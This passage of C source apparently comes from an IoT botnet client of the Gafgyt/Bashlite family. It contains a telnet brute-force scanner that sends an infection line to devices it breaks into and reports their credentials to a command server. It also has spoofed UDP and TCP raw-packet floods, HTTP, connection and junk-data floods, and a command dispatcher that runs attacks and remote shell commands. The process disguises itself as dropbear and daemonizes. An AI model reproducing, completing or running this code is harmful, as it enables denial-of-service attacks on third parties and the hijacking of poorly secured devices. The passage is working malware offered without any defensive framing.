  913. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  914. else fds[i].state = 7;
  915. memset(fds[i].sockbuf, 0, 1024);
  916. continue;
  917. } else {
  918. fds[i].bufUsed = strlen(fds[i].sockbuf);
  919. }
  920.  
  921. if(fds[i].totalTimeout + 30 < time(NULL))
  922. {
  923. sclose(fds[i].fd);
  924. fds[i].state = 0;
  925. fds[i].complete = 1;
  926. }
  927. }
  928. break;
  929.  
  930. case 7:
  931. {
  932. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  933. fds[i].state = 8;
  934. }
  935. break;
  936.  
  937. case 8:
  938. {
  939. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  940.  
  941. if(send(fds[i].fd, infectline, strlen(infectline), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  942. sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  943.  
  944. if(fds[i].totalTimeout + 8 < time(NULL))
  945. {
  946. sclose(fds[i].fd);
  947. fds[i].state = 0;
  948. fds[i].complete = 1;
  949. }
  950. }
  951. break;
  952. }
  953. }
  954. }
  955. }
  956.  
  957. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  958. {
  959. struct sockaddr_in dest_addr;
  960.  
  961. dest_addr.sin_family = AF_INET;
  962. if(port == 0) dest_addr.sin_port = rand_cmwc();
  963. else dest_addr.sin_port = htons(port);
  964. if(getHost(target, &dest_addr.sin_addr)) return;
  965. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  966.  
  967. register unsigned int pollRegister;
  968. pollRegister = pollinterval;
  969.  
  970. if(spoofit == 32)
  971. {
  972. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  973. if(!sockfd)
  974. {
  975. sockprintf(mainCommSock, "Failed opening raw socket.");
  976. return;
  977. }
  978.  
  979. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  980. if(buf == NULL) return;
  981. memset(buf, 0, packetsize + 1);
  982. makeRandomStr(buf, packetsize);
  983.  
  984. int end = time(NULL) + timeEnd;
  985. register unsigned int i = 0;
  986. while(1)
  987. {
  988. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  989.  
  990. if(i == pollRegister)
  991. {
  992. if(port == 0) dest_addr.sin_port = rand_cmwc();
  993. if(time(NULL) > end) break;
  994. i = 0;
  995. continue;
  996. }
  997. i++;
  998. }
  999. } else {
  1000. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1001. if(!sockfd)
  1002. {
  1003. sockprintf(mainCommSock, "Failed opening raw socket.");
  1004. //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1005. return;
  1006. }
  1007.  
  1008. int tmp = 1;
  1009. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1010. {
  1011. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1012. return;
  1013. }
  1014.  
  1015. int counter = 50;
  1016. while(counter--)
  1017. {
  1018. srand(time(NULL) ^ rand_cmwc());
  1019. init_rand(rand());
  1020. }
  1021.  
  1022. in_addr_t netmask;
  1023.  
  1024. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1025. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1026.  
  1027. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1028. struct iphdr *iph = (struct iphdr *)packet;
  1029. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1030.  
  1031. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1032.  
  1033. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1034. udph->source = rand_cmwc();
  1035. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1036. udph->check = 0;
  1037.  
  1038. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1039.  
  1040. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1041.  
  1042. int end = time(NULL) + timeEnd;
  1043. register unsigned int i = 0;
  1044. while(1)
  1045. {
  1046. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1047.  
  1048. udph->source = rand_cmwc();
  1049. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1050. iph->id = rand_cmwc();
  1051. iph->saddr = htonl( getRandomIP(netmask) );
  1052. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1053.  
  1054. if(i == pollRegister)
  1055. {
  1056. if(time(NULL) > end) break;
  1057. i = 0;
  1058. continue;
  1059. }
  1060. i++;
  1061. }
  1062. }
  1063. }
  1064.  
  1065. //CNC Botnet Flood
  1066. void sendCNC(unsigned char *ip,int port, int end_time)
  1067. {
  1068. int end = time(NULL) + end_time;
  1069. int sockfd;
  1070. struct sockaddr_in server;
  1071. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1072.  
  1073. server.sin_addr.s_addr = inet_addr(ip);
  1074. server.sin_family = AF_INET;
  1075. server.sin_port = htons(port);
  1076.  
  1077. while(end > time(NULL))
  1078. {
  1079. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1080. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1081. sleep(1);
  1082. close(sockfd);
  1083. }
  1084.  
  1085. }
  1086.  
  1087. void sendHTTP(unsigned char *url, int end_time)
  1088. {
  1089. int end = time(NULL) + end_time;
  1090. FILE *pf;
  1091. char command[80];
  1092. sprintf(command, "wget --no-check-certificate -q -O /tmp/null ");
  1093. strcat(command, url);
  1094.  
  1095. pf = popen(command,"r");
  1096.  
  1097. while(end > time(NULL))
  1098. {
  1099. system(command);
  1100. }
  1101.  
  1102. }
  1103.  
  1104. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1105. {
  1106. register unsigned int pollRegister;
  1107. pollRegister = pollinterval;
  1108.  
  1109. struct sockaddr_in dest_addr;
  1110.  
  1111. dest_addr.sin_family = AF_INET;
  1112. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1113. else dest_addr.sin_port = htons(port);
  1114. if(getHost(target, &dest_addr.sin_addr)) return;
  1115. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1116.  
  1117. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1118. if(!sockfd)
  1119. {
  1120. sockprintf(mainCommSock, "Failed opening raw socket.");
  1121. return;
  1122. }
  1123.  
  1124. int tmp = 1;
  1125. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1126. {
  1127. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1128. return;
  1129. }
  1130.  
  1131. in_addr_t netmask;
  1132.  
  1133. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1134. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1135.  
  1136. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1137. struct iphdr *iph = (struct iphdr *)packet;
  1138. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1139.  
  1140. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1141.  
  1142. tcph->source = rand_cmwc();
  1143. tcph->seq = rand_cmwc();
  1144. tcph->ack_seq = 0;
  1145. tcph->doff = 5;
  1146.  
  1147. if(!strcmp(flags, "all"))
  1148. {
  1149. tcph->syn = 1;
  1150. tcph->rst = 1;
  1151. tcph->fin = 1;
  1152. tcph->ack = 1;
  1153. tcph->psh = 1;
  1154. } else {
  1155. unsigned char *pch = strtok(flags, ",");
  1156. while(pch)
  1157. {
  1158. if(!strcmp(pch, "syn"))
  1159. {
  1160. tcph->syn = 1;
  1161. } else if(!strcmp(pch, "rst"))
  1162. {
  1163. tcph->rst = 1;
  1164. } else if(!strcmp(pch, "fin"))
  1165. {
  1166. tcph->fin = 1;
  1167. } else if(!strcmp(pch, "ack"))
  1168. {
  1169. tcph->ack = 1;
  1170. } else if(!strcmp(pch, "psh"))
  1171. {
  1172. tcph->psh = 1;
  1173. } else {
  1174. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1175. }
  1176. pch = strtok(NULL, ",");
  1177. }
  1178. }
  1179.  
  1180. tcph->window = rand_cmwc();
  1181. tcph->check = 0;
  1182. tcph->urg_ptr = 0;
  1183. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1184. tcph->check = tcpcsum(iph, tcph);
  1185.  
  1186. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1187.  
  1188. int end = time(NULL) + timeEnd;
  1189. register unsigned int i = 0;
  1190. while(1)
  1191. {
  1192. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1193.  
  1194. iph->saddr = htonl( getRandomIP(netmask) );
  1195. iph->id = rand_cmwc();
  1196. tcph->seq = rand_cmwc();
  1197. tcph->source = rand_cmwc();
  1198. tcph->check = 0;
  1199. tcph->check = tcpcsum(iph, tcph);
  1200. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1201.  
  1202. if(i == pollRegister)
  1203. {
  1204. if(time(NULL) > end) break;
  1205. i = 0;
  1206. continue;
  1207. }
  1208. i++;
  1209. }
  1210. }
  1211.  
  1212. void sendJUNK(unsigned char *ip, int port, int end_time)
  1213. {
  1214.  
  1215. int max = getdtablesize() / 2, i;
  1216.  
  1217. struct sockaddr_in dest_addr;
  1218. dest_addr.sin_family = AF_INET;
  1219. dest_addr.sin_port = htons(port);
  1220. if(getHost(ip, &dest_addr.sin_addr)) return;
  1221. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1222.  
  1223. struct state_t
  1224. {
  1225. int fd;
  1226. uint8_t state;
  1227. } fds[max];
  1228. memset(fds, 0, max * (sizeof(int) + 1));
  1229.  
  1230. fd_set myset;
  1231. struct timeval tv;
  1232. socklen_t lon;
  1233. int valopt, res;
  1234.  
  1235. unsigned char *watwat = malloc(1024);
  1236. memset(watwat, 0, 1024);
  1237.  
  1238. int end = time(NULL) + end_time;
  1239. while(end > time(NULL))
  1240. {
  1241. for(i = 0; i < max; i++)
  1242. {
  1243. switch(fds[i].state)
  1244. {
  1245. case 0:
  1246. {
  1247. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1248. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1249. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1250. else fds[i].state = 1;
  1251. }
  1252. break;
  1253.  
  1254. case 1:
  1255. {
  1256. FD_ZERO(&myset);
  1257. FD_SET(fds[i].fd, &myset);
  1258. tv.tv_sec = 0;
  1259. tv.tv_usec = 10000;
  1260. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1261. if(res == 1)
  1262. {
  1263. lon = sizeof(int);
  1264. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1265. if(valopt)
  1266. {
  1267. close(fds[i].fd);
  1268. fds[i].state = 0;
  1269. } else {
  1270. fds[i].state = 2;
  1271. }
  1272. } else if(res == -1)
  1273. {
  1274. close(fds[i].fd);
  1275. fds[i].state = 0;
  1276. }
  1277. }
  1278. break;
  1279.  
  1280. case 2:
  1281. {
  1282. makeRandomStr(watwat, 1024);
  1283. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1284. {
  1285. close(fds[i].fd);
  1286. fds[i].state = 0;
  1287. }
  1288. }
  1289. break;
  1290. }
  1291. }
  1292. }
  1293. }
  1294.  
  1295. void sendHOLD(unsigned char *ip, int port, int end_time)
  1296. {
  1297.  
  1298. int max = getdtablesize() / 2, i;
  1299.  
  1300. struct sockaddr_in dest_addr;
  1301. dest_addr.sin_family = AF_INET;
  1302. dest_addr.sin_port = htons(port);
  1303. if(getHost(ip, &dest_addr.sin_addr)) return;
  1304. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1305.  
  1306. struct state_t
  1307. {
  1308. int fd;
  1309. uint8_t state;
  1310. } fds[max];
  1311. memset(fds, 0, max * (sizeof(int) + 1));
  1312.  
  1313. fd_set myset;
  1314. struct timeval tv;
  1315. socklen_t lon;
  1316. int valopt, res;
  1317.  
  1318. unsigned char *watwat = malloc(1024);
  1319. memset(watwat, 0, 1024);
  1320.  
  1321. int end = time(NULL) + end_time;
  1322. while(end > time(NULL))
  1323. {
  1324. for(i = 0; i < max; i++)
  1325. {
  1326. switch(fds[i].state)
  1327. {
  1328. case 0:
  1329. {
  1330. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1331. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1332. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1333. else fds[i].state = 1;
  1334. }
  1335. break;
  1336.  
  1337. case 1:
  1338. {
  1339. FD_ZERO(&myset);
  1340. FD_SET(fds[i].fd, &myset);
  1341. tv.tv_sec = 0;
  1342. tv.tv_usec = 10000;
  1343. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1344. if(res == 1)
  1345. {
  1346. lon = sizeof(int);
  1347. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1348. if(valopt)
  1349. {
  1350. close(fds[i].fd);
  1351. fds[i].state = 0;
  1352. } else {
  1353. fds[i].state = 2;
  1354. }
  1355. } else if(res == -1)
  1356. {
  1357. close(fds[i].fd);
  1358. fds[i].state = 0;
  1359. }
  1360. }
  1361. break;
  1362.  
  1363. case 2:
  1364. {
  1365. FD_ZERO(&myset);
  1366. FD_SET(fds[i].fd, &myset);
  1367. tv.tv_sec = 0;
  1368. tv.tv_usec = 10000;
  1369. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1370. if(res != 0)
  1371. {
  1372. close(fds[i].fd);
  1373. fds[i].state = 0;
  1374. }
  1375. }
  1376. break;
  1377. }
  1378. }
  1379. }
  1380. }
  1381.  
  1382. void processCmd(int argc, unsigned char *argv[])
  1383. {
  1384. int x;
  1385. if(!strcmp(argv[0], "PING"))
  1386. {
  1387. sockprintf(mainCommSock, "PONG!");
  1388. return;
  1389. }
  1390.  
  1391. if(!strcmp(argv[0], "GETLOCALIP"))
  1392. {
  1393. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1394. return;
  1395. }
  1396.  
  1397. if(!strcmp(argv[0], "SCANNER"))
  1398. {
  1399. if(argc != 2)
  1400. {
  1401. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1402. return;
  1403. }
  1404.  
  1405. if(!strcmp(argv[1], "OFF"))
  1406. {
  1407. if(scanPid == 0) return;
  1408. kill(scanPid, 9);
  1409. sockprintf(mainCommSock, "REMOVING PROBE");
  1410. scanPid = 0;
  1411. }
  1412.  
  1413. if(!strcmp(argv[1], "ON"))
  1414. {
  1415. if(scanPid != 0) return;
  1416. uint32_t parent;
  1417. parent = fork();
  1418.  
  1419. if (parent > 0) { scanPid = parent; return;}
  1420. else if(parent == -1) return;
  1421. sockprintf(mainCommSock, "PROBING");
  1422. StartTheLelz();
  1423. _exit(0);
  1424. }
  1425. }
  1426.  
  1427. if(!strcmp(argv[0], "HOLD"))
  1428. {
  1429. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1430. {
  1431. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1432. return;
  1433. }
  1434.  
  1435. unsigned char *ip = argv[1];
  1436. int port = atoi(argv[2]);
  1437. int time = atoi(argv[3]);
  1438.  
  1439. if(strstr(ip, ",") != NULL)
  1440. {
  1441. unsigned char *hi = strtok(ip, ",");
  1442. while(hi != NULL)
  1443. {
  1444. if(!listFork())
  1445. {
  1446. sendHOLD(hi, port, time);
  1447. _exit(0);
  1448. }
  1449. hi = strtok(NULL, ",");
  1450. }
  1451. } else {
  1452. if (listFork()) { return; }
  1453.  
  1454. sendHOLD(ip, port, time);
  1455. _exit(0);
  1456. }
  1457. }
  1458.  
  1459. if(!strcmp(argv[0], "JUNK"))
  1460. {
  1461. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1462. {
  1463. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1464. return;
  1465. }
  1466.  
  1467. unsigned char *ip = argv[1];
  1468. int port = atoi(argv[2]);
  1469. int time = atoi(argv[3]);
  1470.  
  1471. if(strstr(ip, ",") != NULL)
  1472. {
  1473. unsigned char *hi = strtok(ip, ",");
  1474. while(hi != NULL)
  1475. {
  1476. if(!listFork())
  1477. {
  1478. sendJUNK(hi, port, time);
  1479. close(mainCommSock);
  1480. _exit(0);
  1481. }
  1482. hi = strtok(NULL, ",");
  1483. }
  1484. } else {
  1485. if (listFork()) { return; }
  1486.  
  1487. sendJUNK(ip, port, time);
  1488. _exit(0);
  1489. }
  1490. }
  1491.  
  1492. if(!strcmp(argv[0], "UDP"))
  1493. {
  1494. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1495. {
  1496. //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1497. return;
  1498. }
  1499.  
  1500. unsigned char *ip = argv[1];
  1501. int port = atoi(argv[2]);
  1502. int time = atoi(argv[3]);
  1503. int spoofed = atoi(argv[4]);
  1504. int packetsize = atoi(argv[5]);
  1505. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1506.  
  1507. if(strstr(ip, ",") != NULL)
  1508. {
  1509. unsigned char *hi = strtok(ip, ",");
  1510. while(hi != NULL)
  1511. {
  1512. if(!listFork())
  1513. {
  1514. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1515. _exit(0);
  1516. }
  1517. hi = strtok(NULL, ",");
  1518. }
  1519. } else {
  1520. if (listFork()) { return; }
  1521.  
  1522. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1523. _exit(0);
  1524. }
  1525. }
  1526.  
  1527. if(!strcmp(argv[0], "HTTP"))
  1528. {
  1529. if(argc < 3 || atoi(argv[2]) < 1)
  1530. {
  1531. return;
  1532. }
  1533.  
  1534. unsigned char *ip = argv[1];
  1535. int time = atoi(argv[2]);
  1536.  
  1537. if(strstr(ip, ",") != NULL)
  1538. {
  1539. unsigned char *hi = strtok(ip, ",");
  1540. while(hi != NULL)
  1541. {
  1542. if(!listFork())
  1543. {
  1544. int i = 0;
  1545. while(i < 10){
  1546. sendHTTP(ip, time);
  1547. i++;
  1548. }
  1549. close(mainCommSock);
  1550. _exit(0);
  1551. }
  1552. hi = strtok(NULL, ",");
  1553. }
  1554. } else {
  1555. if (listFork()) { return; }
  1556. int i = 0;
  1557. while(i < 10){
  1558. sendHTTP(ip, time);
  1559. i++;
  1560. }
  1561. close(mainCommSock);
  1562.  
  1563. _exit(0);
  1564. }
  1565. }
  1566.  
  1567. if(!strcmp(argv[0], "CNC"))
  1568. {
  1569. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1570. {
  1571.  
  1572. return;
  1573. }
  1574.  
  1575. unsigned char *ip = argv[1];
  1576. int port = atoi(argv[2]);
  1577. int time = atoi(argv[3]);
  1578.  
  1579. if(strstr(ip, ",") != NULL)
  1580. {
  1581. unsigned char *hi = strtok(ip, ",");
  1582. while(hi != NULL)
  1583. {
  1584. if(!listFork())
  1585. {
  1586. sendCNC(hi, port, time);
  1587. close(mainCommSock);
  1588. _exit(0);
  1589. }
  1590. hi = strtok(NULL, ",");
  1591. }
  1592. } else {
  1593. if (listFork()) { return; }
  1594.  
  1595. sendCNC(ip, port, time);
  1596. _exit(0);
  1597. }
  1598. }
  1599.  
  1600. if(!strcmp(argv[0], "COMBO"))
  1601. {
  1602. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1603. {
  1604.  
  1605. return;
  1606. }
  1607.  
  1608. unsigned char *ip = argv[1];
  1609. int port = atoi(argv[2]);
  1610. int time = atoi(argv[3]);
  1611.  
  1612. if(strstr(ip, ",") != NULL)
  1613. {
  1614. unsigned char *hi = strtok(ip, ",");
  1615. while(hi != NULL)
  1616. {
  1617. if(!listFork())
  1618. {
  1619. sendJUNK(hi, port, time);
  1620. sendHOLD(hi, port, time);
  1621. close(mainCommSock);
  1622. _exit(0);
  1623. }
  1624. hi = strtok(NULL, ",");
  1625. }
  1626. } else {
  1627. if (listFork()) { return; }
  1628.  
  1629. sendJUNK(ip, port, time);
  1630. sendHOLD(ip, port, time);
  1631. _exit(0);
  1632. }
  1633. }
  1634.  
  1635. if(!strcmp(argv[0], "TCP"))
  1636. {
  1637. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1638. {
  1639. //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1640. return;
  1641. }
  1642.  
  1643. unsigned char *ip = argv[1];
  1644. int port = atoi(argv[2]);
  1645. int time = atoi(argv[3]);
  1646. int spoofed = atoi(argv[4]);
  1647. unsigned char *flags = argv[5];
  1648.  
  1649. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1650. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1651.  
  1652. if(strstr(ip, ",") != NULL)
  1653. {
  1654. unsigned char *hi = strtok(ip, ",");
  1655. while(hi != NULL)
  1656. {
  1657. if(!listFork())
  1658. {
  1659. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1660. _exit(0);
  1661. }
  1662. hi = strtok(NULL, ",");
  1663. }
  1664. } else {
  1665. if (listFork()) { return; }
  1666.  
  1667. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1668. _exit(0);
  1669. }
  1670. }
  1671.  
  1672. if(!strcmp(argv[0], "KILLATTK"))
  1673. {
  1674. int killed = 0;
  1675. unsigned long i;
  1676. for (i = 0; i < numpids; i++) {
  1677. if (pids[i] != 0 && pids[i] != getpid()) {
  1678. kill(pids[i], 9);
  1679. killed++;
  1680. }
  1681. }
  1682. }
  1683.  
  1684. if(!strcmp(argv[0], "FUCKOFF"))
  1685. {
  1686. exit(0);
  1687. }
  1688.  
  1689. }
  1690.  
  1691. int initConnection()
  1692. {
  1693. unsigned char server[4096];
  1694. memset(server, 0, 4096);
  1695. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1696. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1697. else currentServer++;
  1698.  
  1699. strcpy(server, commServer[currentServer]);
  1700. int port = 443;
  1701. if(strchr(server, ':') != NULL)
  1702. {
  1703. port = atoi(strchr(server, ':') + 1);
  1704. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1705. }
  1706.  
  1707. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1708.  
  1709. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1710.  
  1711. return 0;
  1712. }
  1713.  
  1714. int getOurIP()
  1715. {
  1716. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1717. if(sock == -1) return 0;
  1718.  
  1719. struct sockaddr_in serv;
  1720. memset(&serv, 0, sizeof(serv));
  1721. serv.sin_family = AF_INET;
  1722. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1723. serv.sin_port = htons(53);
  1724.  
  1725. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1726. if(err == -1) return 0;
  1727.  
  1728. struct sockaddr_in name;
  1729. socklen_t namelen = sizeof(name);
  1730. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1731. if(err == -1) return 0;
  1732.  
  1733. ourIP.s_addr = name.sin_addr.s_addr;
  1734.  
  1735. int cmdline = open("/proc/net/route", O_RDONLY);
  1736. char linebuf[4096];
  1737. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1738. {
  1739. if(strstr(linebuf, "\t00000000\t") != NULL)
  1740. {
  1741. unsigned char *pos = linebuf;
  1742. while(*pos != '\t') pos++;
  1743. *pos = 0;
  1744. break;
  1745. }
  1746. memset(linebuf, 0, 4096);
  1747. }
  1748. close(cmdline);
  1749.  
  1750. if(*linebuf)
  1751. {
  1752. int i;
  1753. struct ifreq ifr;
  1754. strcpy(ifr.ifr_name, linebuf);
  1755. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1756. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1757. }
  1758.  
  1759. close(sock);
  1760. }
  1761.  
  1762. char *getBuild()
  1763. {
  1764. #ifdef MIPS_BUILD
  1765. return "MIPS";
  1766. #elif MIPSEL_BUILD
  1767. return "MIPSEL";
  1768. #elif X86_BUILD
  1769. return "X86";
  1770. #elif ARM_BUILD
  1771. return "ARM";
  1772. #elif PPC_BUILD
  1773. return "PPC";
  1774. #else
  1775. return "DONGS";
  1776. #endif
  1777. }
  1778.  
  1779. int main(int argc, unsigned char *argv[])
  1780. {
  1781. char *mynameis = "/usr/sbin/dropbear";
  1782. if(SERVER_LIST_SIZE <= 0) return 0;
  1783. printf("BUILD %s\n", getBuild());
  1784. strncpy(argv[0],"",strlen(argv[0]));
  1785. argv[0] = "/usr/sbin/dropbear";
  1786. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1787. srand(time(NULL) ^ getpid());
  1788. init_rand(time(NULL) ^ getpid());
  1789. pid_t pid1;
  1790. pid_t pid2;
  1791. int status;
  1792.  
  1793. getOurIP();
  1794.  
  1795. if (pid1 = fork()) {
  1796. waitpid(pid1, &status, 0);
  1797. exit(0);
  1798. } else if (!pid1) {
  1799. if (pid2 = fork()) {
  1800. exit(0);
  1801. } else if (!pid2) {
  1802. } else {
  1803. //zprintf("fork failed\n");
  1804. }
  1805. } else {
  1806. //zprintf("fork failed\n");
  1807. }
  1808.  
  1809. setsid();
  1810. chdir("/");
  1811.  
  1812. signal(SIGPIPE, SIG_IGN);
  1813.  
  1814. while(1)
  1815. {
  1816. if(initConnection()) { sleep(5); continue; }
  1817.  
  1818. sockprintf(mainCommSock, "BUILD %s", getBuild());
  1819.  
  1820. char commBuf[4096];
  1821. int got = 0;
  1822. int i = 0;
  1823. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1824. {
  1825. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1826. unsigned int *newpids, on;
  1827. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1828. pids[on - 1] = 0;
  1829. numpids--;
  1830. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1831. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1832. free(pids);
  1833. pids = newpids;
  1834. }
  1835.  
  1836. commBuf[got] = 0x00;
  1837.  
  1838. trim(commBuf);
  1839.  
  1840. if(strstr(commBuf, "PING") == commBuf)
  1841. {
  1842. sockprintf(mainCommSock, "PONG");
  1843. continue;
  1844. }
  1845.  
  1846. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1847.  
  1848. unsigned char *message = commBuf;
  1849.  
  1850. if(*message == '!')
  1851. {
  1852. unsigned char *nickMask = message + 1;
  1853. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1854. if(*nickMask == 0x00) continue;
  1855. *(nickMask) = 0x00;
  1856. nickMask = message + 1;
  1857.  
  1858. message = message + strlen(nickMask) + 2;
  1859. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1860.  
  1861. unsigned char *command = message;
  1862. while(*message != ' ' && *message != 0x00) message++;
  1863. *message = 0x00;
  1864. message++;
  1865.  
  1866. unsigned char *tmpcommand = command;
  1867. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1868.  
  1869. if(strcmp(command, "SH") == 0)
  1870. {
  1871. unsigned char buf[1024];
  1872. int command;
  1873. if (listFork()) continue;
  1874. memset(buf, 0, 1024);
  1875. szprintf(buf, "%s 2>&1", message);
  1876. command = fdpopen(buf, "r");
  1877. while(fdgets(buf, 1024, command) != NULL)
  1878. {
  1879. trim(buf);
